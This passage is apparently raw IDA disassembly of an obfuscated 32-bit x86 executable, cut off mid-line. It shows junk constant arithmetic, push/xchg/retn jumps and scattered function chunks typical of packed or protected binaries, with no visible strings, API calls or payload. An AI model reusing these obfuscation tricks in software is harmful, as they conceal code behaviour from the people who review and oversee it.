FOR sub_42D120 loc_4274C8: ; CODE XREF: sub_42D120-1803j or ecx, esi cdq and ecx, edx mov ebx, eax and ecx, edx jmp loc_42D28E ; END OF FUNCTION CHUNK FOR sub_42D120 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ED32 loc_4274D6: ; CODE XREF: sub_42ED32-6587j or ebx, esi loc_4274D8: ; CODE XREF: sub_42ED32:loc_42F44Dj push 1 lea eax, [ebp-800h] call sub_42FACF ; END OF FUNCTION CHUNK FOR sub_42ED32 ; START OF FUNCTION CHUNK FOR sub_426E98 loc_4274E5: ; CODE XREF: sub_426E98-2D73j jmp nullsub_117 ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D71D loc_4274EA: ; CODE XREF: sub_42D71D:loc_429060j add eax, 0D40F2279h or ebx, eax pop eax sbb eax, 0FAB7254Bh mov ecx, 0B6F8F93Fh mov edx, 934BB54Ch sub eax, ecx jmp loc_42CF99 ; END OF FUNCTION CHUNK FOR sub_42D71D ; =============== S U B R O U T I N E ======================================= sub_42750A proc near ; CODE XREF: wto1jq8f:00424A46p ; wto1jq8f:0042CD76j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004246A4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426849 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 004268DA SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00427335 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00427CF5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428014 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 004298CC SIZE 00000015 BYTES xchg ecx, [esp+0] mov ecx, [esp+0] mov esp, ebp mov ebp, offset loc_42751B xchg ebp, [esp+0] retn ; --------------------------------------------------------------------------- loc_42751B: ; DATA XREF: sub_42750A+8o push 4C77F9BFh jmp loc_428014 sub_42750A endp ; --------------------------------------------------------------------------- loc_427525: ; DATA XREF: wto1jq8f:loc_429DBBo mov eax, [ebp-8] call sub_42F59F ; START OF FUNCTION CHUNK FOR sub_42F2C7 loc_42752D: ; CODE XREF: sub_42F2C7:loc_426821j ; wto1jq8f:loc_426E84j test edi, 0F5A872BDh jmp loc_425B31 ; END OF FUNCTION CHUNK FOR sub_42F2C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D434 loc_427538: ; CODE XREF: sub_42D434-8B1j add eax, 0FFA8A3A4h mov eax, [eax] xchg eax, [esp+0] retn ; END OF FUNCTION CHUNK FOR sub_42D434 ; --------------------------------------------------------------------------- test ecx, esi jmp loc_424E08 ; --------------------------------------------------------------------------- loc_42754B: ; DATA XREF: sub_42DC5C-5CA4o push 686F651h pop edx rol edx, 16h jb loc_42AF27 ; START OF FUNCTION CHUNK FOR sub_424F7A loc_42755A: ; CODE XREF: sub_424F7A+4j ; sub_42727F+6902j jmp loc_42D91B ; END OF FUNCTION CHUNK FOR sub_424F7A ; --------------------------------------------------------------------------- add edi, eax push 89F9AB5Fh adc edi, ebx jmp loc_42AF27 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C0D7 loc_42756D: ; CODE XREF: sub_42C0D7:loc_42C982j push ecx mov esp, ebp xchg esi, [esp+0] mov ebp, esi pop esi jmp loc_42A4CC ; END OF FUNCTION CHUNK FOR sub_42C0D7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_174. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D53B loc_42757C: ; CODE XREF: wto1jq8f:00428F27j ; sub_42D53B+Bj jmp loc_42C1BF ; END OF FUNCTION CHUNK FOR sub_42D53B ; --------------------------------------------------------------------------- loc_427581: ; CODE XREF: wto1jq8f:0042BEB5j push edx push 0F2CE58A4h pop edx and edx, 0C5E04EDEh xor edx, 71E0FB0Ch add edx, 4F21EA1Dh xchg edx, [esp] jmp loc_425964 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_4275A3: ; CODE XREF: sub_42A909-9D6j call sub_42CB36 test al, al jz loc_42E71D jmp loc_4285D5 ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- adc edi, edx jmp loc_42A8EC ; --------------------------------------------------------------------------- loc_4275BC: ; DATA XREF: sub_42DBA6-537Bo mov ecx, offset loc_4275C5 xchg ecx, [esp] retn ; --------------------------------------------------------------------------- loc_4275C5: ; DATA XREF: wto1jq8f:loc_4275BCo xor eax, eax jmp loc_42D83F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_4275CC: ; CODE XREF: sub_426968-1D99j jz loc_4275E2 mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F7h jnz loc_42D6FF loc_4275E2: ; CODE XREF: sub_424BAC:loc_4262ABj ; sub_426968:loc_4275CCj ... jnz loc_426121 mov eax, [ebp+8] call sub_42A617 loc_4275F0: ; CODE XREF: sub_42BC9B+13j jmp loc_428B9A ; END OF FUNCTION CHUNK FOR sub_426968 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424BF9 loc_4275F5: ; CODE XREF: sub_424BF9+7j mov ebp, esp mov esp, ebp pop ebp mov eax, ds:dword_42DB08 or eax, eax jnz loc_42CE55 jmp loc_4268C1 ; END OF FUNCTION CHUNK FOR sub_424BF9 ; --------------------------------------------------------------------------- loc_42760D: ; CODE XREF: wto1jq8f:00429CFDj not edx ; =============== S U B R O U T I N E ======================================= sub_42760F proc near ; CODE XREF: sub_42C423:loc_42E44Ap ; FUNCTION CHUNK AT 004249AC SIZE 0000002A BYTES ; FUNCTION CHUNK AT 00425D9D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00427772 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A734 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A7C4 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042CA4A SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0042D11B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D48C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042D900 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042DCDF SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0042DEDC SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042F2BD SIZE 00000005 BYTES xchg edx, [esp+0] pop edx mov eax, [ebp-1Ch] cmp byte ptr [eax], 0 jmp loc_4249AC sub_42760F endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42761E: ; CODE XREF: wto1jq8f:0042479Bj jle loc_426511 jl loc_42D2F9 and edi, 8EA7CCA2h loc_427630: ; CODE XREF: wto1jq8f:loc_428631j mov eax, [ebp-0Ch] mov ds:dword_42F1E0, eax mov eax, [ebp-0Ch] mov ecx, 3F1h xor edx, edx jmp loc_429561 ; --------------------------------------------------------------------------- adc ebx, 870BF7Dh ; START OF FUNCTION CHUNK FOR sub_42970D loc_42764D: ; CODE XREF: sub_42970D:loc_42C345j jmp sub_42FC41 ; END OF FUNCTION CHUNK FOR sub_42970D ; =============== S U B R O U T I N E ======================================= sub_427652 proc near ; DATA XREF: sub_42C93C:loc_42FBABo ; FUNCTION CHUNK AT 0042FBA6 SIZE 00000005 BYTES add edx, 0DACFF961h xchg edx, [esp+0] jmp loc_42FBA6 sub_427652 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426313 loc_427660: ; CODE XREF: sub_426313+6j pop ebp mov eax, ds:dword_42E528 or eax, eax jnz loc_428BDF jmp loc_429160 ; END OF FUNCTION CHUNK FOR sub_426313 ; =============== S U B R O U T I N E ======================================= sub_427674 proc near ; CODE XREF: wto1jq8f:004259F4j ; sub_4241AD+BA48p ; FUNCTION CHUNK AT 004263CB SIZE 0000000B BYTES mov [esp+0], ebx pop ebx add ecx, ebp add ecx, 0C6896F55h mov [ecx], eax pop ecx mov eax, [ebp-4] jmp loc_4263CB sub_427674 endp ; sp-analysis failed ; --------------------------------------------------------------------------- rol edi, 0Ch jmp loc_42EEAE ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_427694 proc near ; DATA XREF: sub_42B10Ao push ebp push offset sub_429D2E jmp nullsub_53 sub_427694 endp ; --------------------------------------------------------------------------- loc_42769F: ; CODE XREF: wto1jq8f:00429806j add eax, 0B650C109h mov eax, [eax] call sub_42D2BB test eax, edx jmp loc_4296D1 ; --------------------------------------------------------------------------- test eax, eax ; START OF FUNCTION CHUNK FOR sub_42C486 loc_4276B5: ; CODE XREF: sub_42C486+33B8j jz loc_425BE9 jmp loc_42A1C2 ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- loc_4276C0: ; CODE XREF: wto1jq8f:0042B4DBj ; wto1jq8f:0042F293j shl edx, 9 ; =============== S U B R O U T I N E ======================================= sub_4276C3 proc near ; CODE XREF: sub_42CEBE+8p var_C = dword ptr -0Ch ; FUNCTION CHUNK AT 00427426 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004278A0 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00428897 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042E2F5 SIZE 0000000A BYTES xchg ecx, [esp+0] pop ecx push 0 push 0 push 0 push 7510537Ah jmp loc_427426 sub_4276C3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- sub edx, 0B5AE1D59h jmp loc_42F770 ; --------------------------------------------------------------------------- test eax, eax jz loc_42975C mov byte ptr [ebp-806h], 0 call sub_42A5D5 ; START OF FUNCTION CHUNK FOR sub_428AC6 loc_4276F6: ; CODE XREF: sub_428AC6+4EBj jmp nullsub_199 ; END OF FUNCTION CHUNK FOR sub_428AC6 ; --------------------------------------------------------------------------- locret_4276FB: ; CODE XREF: wto1jq8f:0042CC39j retn ; --------------------------------------------------------------------------- loc_4276FC: ; CODE XREF: wto1jq8f:00424990j and edi, 6B818528h or edi, ds:4000F8h add edi, 8426B14Ch push offset sub_42F8A7 jmp loc_42612E ; --------------------------------------------------------------------------- loc_427718: ; CODE XREF: wto1jq8f:loc_429852j add ebx, 79BC6AA4h call sub_429BA6 ; START OF FUNCTION CHUNK FOR sub_42BB8A loc_427723: ; CODE XREF: sub_42BB8A+Cj jmp loc_4264A3 ; END OF FUNCTION CHUNK FOR sub_42BB8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D47 loc_427728: ; CODE XREF: sub_428D47:loc_425A3Bj mov ecx, 3FDh xor edx, edx div ecx mov [ebp-20h], edx push 9B54B815h pop ecx jmp loc_42A827 ; END OF FUNCTION CHUNK FOR sub_428D47 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F50F loc_42773F: ; CODE XREF: sub_42F50F:loc_42908Cj push 0E39B270Fh pop edi xor edi, 9636E219h add eax, edi jmp loc_42F5B3 ; END OF FUNCTION CHUNK FOR sub_42F50F ; =============== S U B R O U T I N E ======================================= sub_427752 proc near ; DATA XREF: sub_426E98:loc_426F4Co ; FUNCTION CHUNK AT 0042B621 SIZE 0000001B BYTES push 2EEA93DAh adc ecx, 7E18CF79h jmp loc_42B621 sub_427752 endp ; --------------------------------------------------------------------------- loc_427762: ; DATA XREF: sub_428310:loc_4282F4o jmp loc_424817 ; --------------------------------------------------------------------------- jmp loc_42816A ; =============== S U B R O U T I N E ======================================= sub_42776C proc near ; CODE XREF: sub_42A6CD:loc_42CCE8j ; wto1jq8f:loc_42EB19p push ebp call sub_428295 sub_42776C endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42760F loc_427772: ; CODE XREF: sub_42760F-2C3Ej jmp loc_42DCDF ; END OF FUNCTION CHUNK FOR sub_42760F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A88D loc_427777: ; CODE XREF: sub_42A88D:loc_429BE7j jz loc_42B2DE jmp loc_427421 ; END OF FUNCTION CHUNK FOR sub_42A88D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_427782: ; CODE XREF: sub_42E9E8:loc_42D94Ej xchg edx, [esp+8+var_8] push edx push ebx push eax loc_427788: ; CODE XREF: wto1jq8f:loc_42BC33j jmp loc_42CECC ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CE2 loc_42778D: ; CODE XREF: sub_425CE2+359Aj ; sub_4260A9+37BAj push offset loc_42A7A2 ; END OF FUNCTION CHUNK FOR sub_425CE2 ; START OF FUNCTION CHUNK FOR sub_42655A loc_427792: ; CODE XREF: sub_42655A:loc_429EABj jmp nullsub_81 ; END OF FUNCTION CHUNK FOR sub_42655A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_66. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_427798 proc near ; DATA XREF: sub_42FC85-67C8o xor eax, eax mov [ebp-8], eax sub_427798 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_426968 loc_42779D: ; CODE XREF: sub_426968:loc_42AB0Ej jns loc_42B5BE mov eax, [ebp-0Ch] loc_4277A6: ; CODE XREF: sub_42F6A9:loc_42A10Fj cmp byte ptr [eax], 0 jnz loc_42ED27 jmp loc_42FB2A ; END OF FUNCTION CHUNK FOR sub_426968 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426144 loc_4277B4: ; CODE XREF: sub_426144+3552j or esi, edx xchg edx, [ebp+0] jmp loc_42F8FF ; END OF FUNCTION CHUNK FOR sub_426144 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_4277BE: ; CODE XREF: sub_42E9E8-1BD1j adc edx, 87658B68h jz loc_42C080 shl ecx, 16h push 0E3D3182h loc_4277D2: ; CODE XREF: sub_42E9E8:loc_42AC6Dj lea eax, [ebp-2BBh] cmp dword ptr [eax], 4742444Fh jz loc_4265DB jmp loc_4294D2 ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D789 loc_4277E9: ; CODE XREF: sub_42D789-1ED9j jz loc_42A34D jmp loc_426422 ; END OF FUNCTION CHUNK FOR sub_42D789 ; --------------------------------------------------------------------------- locret_4277F4: ; CODE XREF: wto1jq8f:loc_42A70Dj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DA92 loc_4277F5: ; CODE XREF: sub_42DA92+7j jmp loc_4270A6 ; END OF FUNCTION CHUNK FOR sub_42DA92 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_4277FA: ; CODE XREF: sub_426535-1BF1j jmp loc_42D473 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_4277FF: ; CODE XREF: sub_42E9E8-5DF9j add eax, 0AAC4EDD7h xor eax, 149EA320h add eax, ebp add eax, 5E2E6029h jmp loc_4297C8 ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_34. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- test al, al jz loc_42975C call sub_427F4E test al, al jz loc_42975C jmp loc_42ED37 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_20. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_427834: ; CODE XREF: wto1jq8f:0042B734j xchg ecx, ebp push offset sub_42DBA6 jmp locret_42CC5A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424F7A loc_427840: ; CODE XREF: sub_424F7A+89B2j jz loc_42D3EE jmp loc_42D093 ; END OF FUNCTION CHUNK FOR sub_424F7A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424585 loc_42784C: ; CODE XREF: sub_424585+11j jmp loc_42A07D ; END OF FUNCTION CHUNK FOR sub_424585 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425DF0 loc_427851: ; CODE XREF: sub_425DF0:loc_425DF7j cmp dword ptr [eax], 0FFFFFFFFh push offset loc_428CAB jmp nullsub_20 ; END OF FUNCTION CHUNK FOR sub_425DF0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C1EE loc_42785E: ; CODE XREF: sub_42C1EE:loc_42EFCAj and eax, 0C9E693BAh add eax, 0F7809871h popf xchg eax, [esp+0] jmp sub_429165 ; END OF FUNCTION CHUNK FOR sub_42C1EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AA8E loc_427873: ; CODE XREF: sub_42AA8E-10CAj ; sub_42AA8E-10B6j add edx, 80713783h mov edx, [edx] call sub_42CDD5 ; END OF FUNCTION CHUNK FOR sub_42AA8E ; START OF FUNCTION CHUNK FOR sub_42C486 loc_427880: ; CODE XREF: sub_42C486+A33j jo loc_424487 loc_427886: ; CODE XREF: sub_42669E:loc_426133j or esi, ebx or ebx, eax loc_42788A: ; CODE XREF: sub_42C486:loc_42CEADj sub ecx, 0D8AF123Ch add ecx, 77167734h mov ecx, [ecx] loc_427898: ; CODE XREF: sub_42D9FC:loc_42EB65j or [ecx+edx], al jmp loc_42BBB9 ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4276C3 loc_4278A0: ; CODE XREF: sub_4276C3:loc_427426j ; sub_42AA68:loc_42A479j add [esp+0Ch+var_C], 8AEFAC86h push 0 push 1 lea eax, [ebp-806h] xchg eax, ebx push ebx xchg eax, ebx jmp loc_428897 ; END OF FUNCTION CHUNK FOR sub_4276C3 ; --------------------------------------------------------------------------- loc_4278BB: ; CODE XREF: wto1jq8f:00425E85j xor ebx, edx ; =============== S U B R O U T I N E ======================================= sub_4278BD proc near ; CODE XREF: sub_424B70+4p mov [esp+0], edi pop edi mov ebp, esp push edi mov edi, ecx jmp loc_42C24C sub_4278BD endp ; --------------------------------------------------------------------------- locret_4278CB: ; CODE XREF: wto1jq8f:0042B9E6j retn ; --------------------------------------------------------------------------- loc_4278CC: ; DATA XREF: sub_42E961-2384o add eax, edx mov eax, [eax] add eax, [ebp-4] mov [ebp-0Ch], eax ; START OF FUNCTION CHUNK FOR sub_426350 loc_4278D6: ; CODE XREF: sub_425C0D+2j ; sub_426C04+246j ... mov eax, [ebp-0Ch] mov esp, ebp jmp loc_42FC72 ; END OF FUNCTION CHUNK FOR sub_426350 ; --------------------------------------------------------------------------- sbb ebx, 34A1B2D6h jmp sub_42DF3B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4281DD loc_4278EB: ; CODE XREF: sub_4281DD:loc_4281EBj mov esi, offset loc_4278FE xchg esi, [esp+0] retn ; END OF FUNCTION CHUNK FOR sub_4281DD ; --------------------------------------------------------------------------- loc_4278F4: ; CODE XREF: wto1jq8f:0042F0E3j jmp nullsub_147 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F2C7 loc_4278F9: ; CODE XREF: sub_42F2C7-33A9j jmp loc_42CAA2 ; END OF FUNCTION CHUNK FOR sub_42F2C7 ; --------------------------------------------------------------------------- loc_4278FE: ; DATA XREF: sub_4281DD:loc_4278EBo pop eax jmp loc_4271E7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_141. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_180. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4283CC loc_427906: ; CODE XREF: sub_4283CC+Bj jmp loc_42EF0E ; END OF FUNCTION CHUNK FOR sub_4283CC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_59. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F50F loc_42790C: ; CODE XREF: sub_42F50F+22j jmp loc_424AEC ; END OF FUNCTION CHUNK FOR sub_42F50F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42506F loc_427911: ; CODE XREF: sub_42506F+6CADj jmp nullsub_99 ; END OF FUNCTION CHUNK FOR sub_42506F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A8ED loc_427916: ; CODE XREF: sub_42A8ED+17j jmp loc_42D376 ; END OF FUNCTION CHUNK FOR sub_42A8ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42704E loc_42791B: ; CODE XREF: sub_42704E+4j mov esp, ebp pop ebp mov eax, ds:dword_42ACE4 or eax, eax jnz loc_42B105 call sub_4242D6 push offset loc_42F0CF jmp nullsub_33 ; END OF FUNCTION CHUNK FOR sub_42704E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424BD4 loc_42793B: ; CODE XREF: wto1jq8f:loc_428254j ; sub_424BD4+39A6j mov edx, [ebp+8] push offset sub_426750 jmp nullsub_126 ; END OF FUNCTION CHUNK FOR sub_424BD4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_105. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DEFF loc_427949: ; CODE XREF: sub_42DEFF-17ABj jmp loc_42CAAC ; END OF FUNCTION CHUNK FOR sub_42DEFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB36 loc_42794E: ; CODE XREF: sub_42CB36-34CEj jmp loc_42E858 ; END OF FUNCTION CHUNK FOR sub_42CB36 ; --------------------------------------------------------------------------- cdq jmp loc_429BD1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_427959: ; CODE XREF: sub_42C486:loc_42DBF4j pop ecx and ecx, 2FA1F21h xor ecx, 7F5F4434h add ecx, 0BD9BF49Bh add ecx, ebp add ecx, 0C2EEB23Ch mov ecx, [ecx] jmp loc_42DEAE ; END OF FUNCTION CHUNK FOR sub_42C486 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_250. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428B3E loc_42797C: ; CODE XREF: sub_428B3E+4997j jmp loc_42C333 ; END OF FUNCTION CHUNK FOR sub_428B3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_427981: ; CODE XREF: sub_42C486-21BAj jmp loc_428807 ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F072 loc_427986: ; CODE XREF: sub_42F072:loc_4267E1j mov eax, [ebp-20h] ; END OF FUNCTION CHUNK FOR sub_42F072 ; START OF FUNCTION CHUNK FOR sub_42F50F loc_427989: ; CODE XREF: sub_42F50F-5622j call sub_42FFDE pop ecx mov [ebp-20h], eax jmp loc_4250E0 ; END OF FUNCTION CHUNK FOR sub_42F50F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426806 loc_427997: ; CODE XREF: sub_426806:loc_42EE9Aj test byte ptr [ebp-8], 2 jmp loc_425E30 ; END OF FUNCTION CHUNK FOR sub_426806 ; --------------------------------------------------------------------------- push 8F5B025Ah pop edx xor edx, 8B6224A0h rol edx, 0Bh xor edx, 175B25A1h call sub_429165 push eax rol eax, 0Bh jmp loc_42F3B6 ; --------------------------------------------------------------------------- ror ebx, 6 pushf jmp sub_424F6A ; --------------------------------------------------------------------------- loc_4279CC: ; CODE XREF: wto1jq8f:004289C2j ror ebx, 5 shr edx, 0Bh ; START OF FUNCTION CHUNK FOR sub_4262CE loc_4279D2: ; CODE XREF: wto1jq8f:00425E9Dj ; wto1jq8f:loc_42AE39j ... mov eax, 6F7h push ecx push 97812A24h jmp loc_42817E ; END OF FUNCTION CHUNK FOR sub_4262CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A30 loc_4279E2: ; CODE XREF: sub_427A30+8j xor eax, ds:4000F7h test eax, 80000h jmp loc_42633B ; END OF FUNCTION CHUNK FOR sub_427A30 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_4279F3: ; CODE XREF: sub_42C486:loc_42AB3Aj ; sub_426842+96FAj pop large dword ptr fs:0 add esp, 4 mov eax, 50h call sub_428183 jmp loc_42955C ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_427A0C: ; CODE XREF: sub_426E98:loc_42B215j mov ds:dword_42E538, eax retn ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- loc_427A13: ; CODE XREF: wto1jq8f:004242B6j jmp locret_427036 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D82 loc_427A18: ; CODE XREF: sub_427D82-23BEj ror eax, 0Eh call sub_4274BE loc_427A20: ; CODE XREF: sub_42E83D-2227j jmp nullsub_22 ; END OF FUNCTION CHUNK FOR sub_427D82 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C0DF loc_427A25: ; CODE XREF: sub_42C0DF+Cj jmp loc_42F9DC ; END OF FUNCTION CHUNK FOR sub_42C0DF ; --------------------------------------------------------------------------- locret_427A2A: ; CODE XREF: wto1jq8f:loc_42C5B6j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FE77 loc_427A2B: ; CODE XREF: sub_42FE77-F3Aj jmp loc_426508 ; END OF FUNCTION CHUNK FOR sub_42FE77 ; =============== S U B R O U T I N E ======================================= sub_427A30 proc near ; DATA XREF: sub_426E98-2D78o var_8 = dword ptr -8 ; FUNCTION CHUNK AT 0042633B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427412 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004279E2 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042AF4C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042EEDF SIZE 00000008 BYTES push eax push eax push 57BA150Eh pop eax jmp loc_4279E2 sub_427A30 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F50F loc_427A3D: ; CODE XREF: sub_42F50F:loc_42F5B3j pop edi mov eax, [eax] xor edx, edx div dword ptr [ebp-8] mov [ebp-0Ch], edx jmp loc_4267C4 ; END OF FUNCTION CHUNK FOR sub_42F50F ; --------------------------------------------------------------------------- loc_427A4D: ; CODE XREF: wto1jq8f:004262C9j ja loc_42DF03 ; =============== S U B R O U T I N E ======================================= sub_427A53 proc near ; CODE XREF: sub_42CBD1-43D9p ; FUNCTION CHUNK AT 00424AD5 SIZE 00000005 BYTES mov [esp+0], ecx pop ecx mov [ebx], eax pop ebx jmp loc_424AD5 sub_427A53 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F575 loc_427A5F: ; CODE XREF: sub_42F575:loc_429E4Fj xor esi, 74AD3C9Eh add esi, 65164B68h mov [esi], eax pop esi retn ; END OF FUNCTION CHUNK FOR sub_42F575 ; --------------------------------------------------------------------------- loc_427A6F: ; CODE XREF: wto1jq8f:0042B495j jmp locret_42EE73 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4291B9 loc_427A74: ; CODE XREF: sub_4291B9-24F2j ror eax, 1Bh jmp loc_429440 ; END OF FUNCTION CHUNK FOR sub_4291B9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_149. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push eax rol eax, 1Ah mov ds:dword_42D5C8, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_427A88: ; CODE XREF: sub_429BFF+3CDCj jmp loc_42DD22 ; END OF FUNCTION CHUNK FOR sub_429BFF ; =============== S U B R O U T I N E ======================================= sub_427A8D proc near ; CODE XREF: sub_426E98+1B71j ; sub_42E0FD:loc_4290B3j ... var_18 = dword ptr -18h ; FUNCTION CHUNK AT 004243EA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424A6E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00426714 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428148 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004286D8 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004292D5 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042A02C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A041 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042ABD0 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042C151 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042C46B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C585 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DAE8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E92E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042F543 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042FA6C SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0042FC2D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 